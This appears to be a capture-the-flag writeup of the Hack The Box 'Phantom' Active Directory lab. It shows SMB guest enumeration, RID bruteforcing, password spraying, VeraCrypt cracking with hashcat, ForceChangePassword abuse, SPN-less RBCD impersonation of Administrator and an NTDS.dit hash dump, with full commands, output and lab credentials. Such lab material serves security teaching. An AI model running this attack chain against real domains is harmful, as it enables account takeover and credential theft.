writeup 2025-10-10 · 13 min read

Hack The Box Phantom Writeup (Medium Windows)

Medium Windows AD box. An SMB email leaks the onboarding password, a VeraCrypt backup gives up svc_sspr, and RBCD on an SPN-less user reaches Administrator.

Hack The Box Phantom Writeup (Medium Windows)

Summary

Phantom starts with a guest readable Public share holding tech_support_email.eml, whose base64 PDF attachment spells out the default onboarding password Ph4nt0m@5t4rt!. An RID bruteforce builds the user list and spraying that password lands on ibryant, which opens the Departments Share and a VeraCrypt container named IT_BACKUP_201123.hc. Cracking it needs a hand built wordlist around the machine name rather than rockyou, and hashcat mode 13722 recovers Phantom2023!; grepping the mounted backup for known usernames then exposes lstanley’s password, and spraying that finds svc_sspr. BloodHound shows svc_sspr holds ForceChangePassword over three members of ICT Security, so resetting crose and recollecting reveals that the group has AddAllowedToAct over the domain controller. With no machine account quota and no write over an SPN bearing account, the tester follows the SPN-less RBCD variant: write the delegation from wsilva, take a TGT, reset the account password to its own session key and run S4U2self with U2U to impersonate Administrator, which is enough to secretsdump NTDS.dit.

SMB Server Enumeration

I enumerated SMB shares using the default guest account:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ nxc smb 10.129.147.133 -u 'guest' -p '' --shares
SMB         10.129.147.133  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:phantom.vl) (signing:True) (SMBv1:False)
SMB         10.129.147.133  445    DC               [+] phantom.vl\guest: 
SMB         10.129.147.133  445    DC               [*] Enumerated shares
SMB         10.129.147.133  445    DC               Share           Permissions     Remark
SMB         10.129.147.133  445    DC               -----           -----------     ------                                                                                
SMB         10.129.147.133  445    DC               ADMIN$                          Remote Admin                                                                          
SMB         10.129.147.133  445    DC               C$                              Default share                                                                         
SMB         10.129.147.133  445    DC               Departments Share                
SMB         10.129.147.133  445    DC               IPC$            READ            Remote IPC                                                                            
SMB         10.129.147.133  445    DC               NETLOGON                        Logon server share                                                                    
SMB         10.129.147.133  445    DC               Public          READ            
SMB         10.129.147.133  445    DC               SYSVOL                          Logon server share

I connected to the Public share and noticed a file was there (tech_support_email.eml). I downloaded the file to my local system:

smbclient connected to the Public share, downloading tech_support_email.eml

If we cat the file, we can immediately see two potential usernames (“alucas” and “techsupport”):

The tech support email headers showing the alucas and techsupport addresses

The email also has a PDF attached to it, in base64 format:

The base64 encoded PDF attachment at the end of the email file

I copied the entire base64 blob to a file named welcome_template.pdf.b64:

1
2
3
4
5
6
7
JVBERi0xLjcKJcOkw7zDtsOfCjIgMCBvYmoKPDwvTGVuZ3RoIDMgMCBSL0ZpbHRlci9GbGF0ZURl
Y29kZT4+CnN0cmVhbQp4nI1Vy4rcMBC8+yt0zsFTXZYsGcyAJY8hgT0sGcgh5LBks

<SNIP>

Mwo+PgpzdGFydHhyZWYK
OTQxNAolJUVPRgo=

Then I base64 decoded it:

1
$ cat welcome_template.pdf.b64 | base64 -d > welcome_template.pdf

And opened it to see it’s contents:

The decoded welcome PDF stating the default onboarding password

It talks about the default user credentials in the environment:

1
2
Username: <USERNAME>
Password: Ph4nt0m@5t4rt!

I performed a RID bruteforce scan against the SMB server to find valid usernames:

1
2
3
4
5
6
7
8
9
10
11
$ nxc smb 10.129.147.133 -u 'guest' -p '' --rid-brute 5000 
SMB         10.129.147.133  445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:phantom.vl) (signing:True) (SMBv1:False)
SMB         10.129.147.133  445    DC               [+] phantom.vl\guest: 
SMB         10.129.147.133  445    DC               498: PHANTOM\Enterprise Read-only Domain Controllers (SidTypeGroup)                                                   
SMB         10.129.147.133  445    DC               500: PHANTOM\Administrator (SidTypeUser)                                                                              

<SNIP>

SMB         10.129.147.133  445    DC               1135: PHANTOM\ccooper (SidTypeUser)                                                                                   
SMB         10.129.147.133  445    DC               1136: PHANTOM\vcunningham (SidTypeUser)                                                                               
SMB         10.129.147.133  445    DC               1137: PHANTOM\SSPR Service (SidTypeGroup)

I saved the complete output to my local machine at scans/rid-brute.log and executed the following oneliner to format it and have a users.txt file:

1
awk -F'\\\\' '/SidTypeUser/ {sub(/\).*/, "", $2); print $2}' scans/rid-brute.log | cut -d' ' -f1 > users.txt

My users.txt looks like this now:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Administrator
Guest
krbtgt
DC$
svc_sspr
rnichols
pharrison
wsilva
elynch
nhamilton
lstanley
bbarnes
cjones
agarcia
ppayne
ibryant
ssteward
wstewart
vhoward
crose
twright
fhanson
cferguson
alucas
ebryant
vlynch
ghall
ssimpson
ccooper
vcunningham

I saved the previously discovered default password to a file named “passwords.txt” and began using that password to perform a spraying attack:

1
$ nxc smb phantom.vl -u users.txt  -p passwords.txt --continue-on-success

Sure enough, among the output, we got a hit for “ibryant”:

NetExec password spray output with a successful SMB login for ibryant

New credentials:

1
2
Username: ibryant
Password: Ph4nt0m@5t4rt!

I enumerated the shares again but this time using the user credentials:

1
nxc smb 10.129.147.133 -u 'ibryant' -p 'Ph4nt0m@5t4rt!' --shares

And with this user, we have access to more shares:

NetExec share listing as ibryant, now showing read access to Departments Share

More specifically, “Departments Share”, which is a non-default share.

I mounted the share to a local “mount” folder:

1
$ sudo mount -t cifs -o username=ibryant,password='Ph4nt0m@5t4rt!' '//10.129.147.133/departments share' mount/

Then I exfiltrated every file in the share to my local machine with the following bash oneliner:

1
for file in `find mount/ -type f`; do cp $(pwd)/$file loot/; done

The file that caught my attention the most, among the many, was specifically IT_BACKUP_201123.hc. I googled for the “.hc” extension and discovered that it’s a VeraCrypt encrypted disk.

JohnTheRipper has a script that converts VeraCrypt to a format that John understands. I used the script like so:

1
$ ~/hacking/tools/john/run/truecrypt2john.py loot/IT_BACKUP_201123.hc > it-backup.john

Now it’s the part that get me the most pissed off. I tried every single hashcat rule. I extracted all words from all the pdfs in the departments smb share and used hashcat rules against them to try and crack the password. The password for this encrypted file is not in the pdfs, nor combining it with the most comprehensive hashcat rules. You gotta, for some reason, create your own wordlist with the name of the machine, Phantom.

1
crunch 12 12 -t 'Phantom202%^' -o wordlist-phantom.txt

Also, there’s this blog post https://labex.io/tutorials/kali-crack-a-veracrypt-volume-password-594492 that talks about using hashcat to crack a veracrypt container. They used the following command to extract the necessary piece of information out of the container:

1
dd if=IT_BACKUP_201123.hc of=veracrypt.hash bs=512 count=1

After trial and error, it got cracked:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ hashcat -m 13722 veracrypt.hash ../wordlist-phantom.txt

veracrypt.hash:Phantom2023!                               
                                                        
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13722 (VeraCrypt SHA512 + XTS 1024 bit (legacy))
Hash.Target......: veracrypt.hash
Time.Started.....: Fri Oct 10 05:07:01 2025 (22 secs)
Time.Estimated...: Fri Oct 10 05:07:23 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (../wordlist-phantom.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:        6 H/s (5.87ms) @ Accel:128 Loops:250 Thr:1 Vec:2
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 128/330 (38.79%)
Rejected.........: 0/128 (0.00%)
Restore.Point....: 0/330 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:499750-499999
Candidate.Engine.: Device Generator
Candidates.#1....: Phantom2020! -> Phantom2023,
Hardware.Mon.#1..: Util: 53%

Started: Fri Oct 10 05:05:53 2025
Stopped: Fri Oct 10 05:07:25 2025

Worst part of this box tbh. You would need to try all different wordlists with different hash modes because you simply can’t know which veracrypt mode is it so you don’t know if the wordlist is right or not.

I opened the backup in veracrypt, and it contains a lot of files. I zipped all files and transfered them to my linux machine. I extracted all files in my CWD.

As root, I ran:

1
for user in `cat ../../users.txt`; do grep $user . -r --color; done

To search recursively in the backup files for all usernames. Soon enough, I found the password for “lstanley” in one of the files:

Recursive grep over the extracted VeraCrypt backup turning up the password for lstanley

I added this password to my passwords.txt file, and tried spraying it with all my users:

1
2
3
4
5
$ nxc smb phantom.vl -u users.txt -p passwords.txt --continue-on-success

<SNIP>

SMB         10.129.234.63   445    DC               [+] phantom.vl\svc_sspr:gB6XTcqVP5MlP7Rc

With that, new credentials:

1
2
Username: svc_sspr
Passworwd: gB6XTcqVP5MlP7Rc

LDAP Service Enumeration

I began by performing some quick checks with netexec, but found nothing useful:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ nxc ldap 10.129.147.133 -u 'ibryant' -p 'Ph4nt0m@5t4rt!' --computers
LDAP        10.129.147.133  389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:phantom.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.147.133  389    DC               [+] phantom.vl\ibryant:Ph4nt0m@5t4rt!
LDAP        10.129.147.133  389    DC               [*] Total records returned: 1
LDAP        10.129.147.133  389    DC               DC$


$ nxc ldap 10.129.147.133 -u 'ibryant' -p 'Ph4nt0m@5t4rt!' --kerberoast k.log 
LDAP        10.129.147.133  389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:phantom.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.147.133  389    DC               [+] phantom.vl\ibryant:Ph4nt0m@5t4rt!
LDAP        10.129.147.133  389    DC               [*] Skipping disabled account: krbtgt
LDAP        10.129.147.133  389    DC               [*] Total of records returned 0


$ nxc ldap 10.129.147.133 -u 'ibryant' -p 'Ph4nt0m@5t4rt!' --asreproast a.log 
LDAP        10.129.147.133  389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:phantom.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.147.133  389    DC               [+] phantom.vl\ibryant:Ph4nt0m@5t4rt!
LDAP        10.129.147.133  389    DC               No entries found!


$ nxc ldap 10.129.147.133 -u 'ibryant' -p 'Ph4nt0m@5t4rt!' -M get-desc-users
LDAP        10.129.147.133  389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:phantom.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.147.133  389    DC               [+] phantom.vl\ibryant:Ph4nt0m@5t4rt!
GET-DESC... 10.129.147.133  389    DC               [+] Found following users: 
GET-DESC... 10.129.147.133  389    DC               User: Administrator description: Built-in account for administering the computer/domain                               
GET-DESC... 10.129.147.133  389    DC               User: Guest description: Built-in account for guest access to the computer/domain                                     
GET-DESC... 10.129.147.133  389    DC               User: krbtgt description: Key Distribution Center Service Account                                                     

$ nxc ldap 10.129.147.133 -u 'ibryant' -p 'Ph4nt0m@5t4rt!' -M get-info-users
LDAP        10.129.147.133  389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:phantom.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.147.133  389    DC               [+] phantom.vl\ibryant:Ph4nt0m@5t4rt!


$ nxc ldap 10.129.147.133 -u 'ibryant' -p 'Ph4nt0m@5t4rt!' -M get-userPassword
LDAP        10.129.147.133  389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:phantom.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.147.133  389    DC               [+] phantom.vl\ibryant:Ph4nt0m@5t4rt!
GET-USER... 10.129.147.133  389    DC               [+] Found following users: 


$ nxc ldap 10.129.147.133 -u 'ibryant' -p 'Ph4nt0m@5t4rt!' -M get-unixUserPassword
LDAP        10.129.147.133  389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:phantom.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.147.133  389    DC               [+] phantom.vl\ibryant:Ph4nt0m@5t4rt!
GET-UNIX... 10.129.147.133  389    DC               [+] Found following users:

I proceeded to perform a bloodhound scan:

1
2
3
4
5
6
7
8
9
$ nxc ldap 10.129.147.133 -u 'ibryant' -p 'Ph4nt0m@5t4rt!' --bloodhound -c All --dns-server 10.129.147.133
LDAP        10.129.147.133  389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:phantom.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.147.133  389    DC               [+] phantom.vl\ibryant:Ph4nt0m@5t4rt!
LDAP        10.129.147.133  389    DC               Resolved collection methods: session, objectprops, rdp, trusts, psremote, container, localadmin, dcom, acl, group
[11:02:22] ERROR    Unhandled exception in computer DC.phantom.vl    computers.py:268
                    processing: The NETBIOS connection with the                      
                    remote host timed out.                                           
LDAP        10.129.147.133  389    DC               Done in 0M 27S
LDAP        10.129.147.133  389    DC               Compressing output into /home/user/.nxc/logs/DC_10.129.147.133_2025-10-05_110154_bloodhound.zip

The recently compromised user, svc_sspr, has ForceChangePassword over “rnichols@phantom.vl”, “wsilva@phantom.vl”, and “crose@phantom.vl” as you can see from the screenshot below:

BloodHound outbound object control for svc_sspr, with ForceChangePassword over rnichols, wsilva and crose

This can be found when searching for svc_sspr and then hitting “outbound object control” in bloodhound.

All 3 users “svc_sspr” has ForceChangePassword over are members of the same group, “ICT Security”. I changed the password for “crose” so I can enumerate the domain on the perspective of a user that’s in the group:

1
2
$ bloodyAD -u svc_sspr -p gB6XTcqVP5MlP7Rc --dc-ip 10.129.234.63 set password crose Password123!
[+] Password changed successfully!

And then bloodhound:

1
2
3
4
5
6
$ nxc ldap 10.129.234.63 -u 'crose' -p 'Password123!' --bloodhound -c All --dns-server 10.129.234.63 
LDAP        10.129.234.63   389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:phantom.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.63   389    DC               [+] phantom.vl\crose:Password123!
LDAP        10.129.234.63   389    DC               Resolved collection methods: psremote, session, trusts, objectprops, localadmin, group, rdp, acl, container, dcom     
LDAP        10.129.234.63   389    DC               Done in 0M 33S
LDAP        10.129.234.63   389    DC               Compressing output into /home/user/.nxc/logs/DC_10.129.234.63_2025-10-10_063916_bloodhound.zip

BLoodhound collector finished and I ingested the new report. Before, if I clicked on any of the users, they would appear to have none “outbound object control”. Now, with the new scan in the context of “crose”, I can see the group ICT Secrurity has “AddAllowedToAct” over DC.PHANTOM.VL (the domain controller):

BloodHound showing the ICT Security group holding AddAllowedToAct over DC.PHANTOM.VL

RBCD with SPN-less user

The article at https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd#rbcd-on-spn-less-users talks about the situation where we don’t have the “required” machine account quota (which means we can’t add machine accounts to the domain) and we don’t have GenericWrite or GenericAll over some user to set their SPN (both theoretically required to perform an RBCD attack)

First, we write delegation rights:

1
rbcd.py -delegate-from 'wsilva' -delegate-to 'DC$' -dc-ip '10.129.234.63' -action 'write' 'phantom.vl'/'wsilva':'Password123!' -debug

It should show this output:

1
2
3
4
[*] Delegation rights modified successfully!
[*] wsilva can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     wsilva       (S-1-5-21-4029599044-1972224926-2225194048-1114)

Then get the ST for wsilva:

1
2
3
4
$ getTGT.py -hashes :$(pypykatz crypto nt 'Password123!') phantom.vl/'wsilva'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in wsilva.ccache

If you describe the ticket you’ll see that it is “forwardable”. Also, we gotta take note of the **Ticket Session Key **attribute:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ describeTicket.py wsilva.ccache 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : d461c7520feddb131c9f586e0dcd4c37
[*] User Name                     : wsilva
[*] User Realm                    : PHANTOM.VL
[*] Service Name                  : krbtgt/PHANTOM.VL
[*] Service Realm                 : PHANTOM.VL
[*] Start Time                    : 10/10/2025 09:18:11 AM
[*] End Time                      : 10/10/2025 19:18:11 PM
[*] RenewTill                     : 11/10/2025 09:18:11 AM
[*] Flags                         : (0x50e10000) forwardable, proxiable, renewable, initial, pre_authent, enc_pa_rep
[*] KeyType                       : rc4_hmac
[*] Base64(key)                   : 1GHHUg/t2xMcn1huDc1MNw==
[*] Decoding unencrypted data in credential[0]['ticket']:
[*]   Service Name                : krbtgt/PHANTOM.VL
[*]   Service Realm               : PHANTOM.VL
[*]   Encryption type             : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied

Change the password for wsilva :

1
2
3
4
5
6
7
$ changepasswd.py -newhashes :d461c7520feddb131c9f586e0dcd4c37 phantom.vl/'wsilva':'Password123!'@'10.129.234.63'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Changing the password of phantom.vl\wsilva
[*] Connecting to DCE/RPC as phantom.vl\wsilva
[*] Password was changed successfully.
[!] User will need to change their password on next logging because we are using hashes.

And get the ST impersonating administrator:

1
2
3
4
5
6
7
$ KRB5CCNAME='wsilva.ccache' getST.py -u2u -impersonate "Administrator" -spn "cifs/dc.phantom.vl" -k -no-pass phantom.vl/'wsilva'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.phantom.vl@PHANTOM.VL.ccache

With that one could dump secrets from the domain, including but not limited to the NTDS.dit database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ secretsdump.py -k dc.phantom.vl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xa08cda6a38d423ba98b6f79cf6c7880f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8ba20fb81a9c306744a3024dadd0875d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

<SNIP>

[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:aa2abd9db4f5984e657f834484512117:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:de0c6c1bf90cdc90ed73c2b765793df6:::
phantom.vl\svc_sspr:1103:aad3b435b51404eeaad3b435b51404ee:8ecffccc2f22c1607b8e104296ffbf68:::
PHANTOM.vl\rnichols:1112:aad3b435b51404eeaad3b435b51404ee:6e2c9daa1d71941ea201a79fe134008a:::

<SNIP>
This post is licensed under CC BY 4.0 by the author.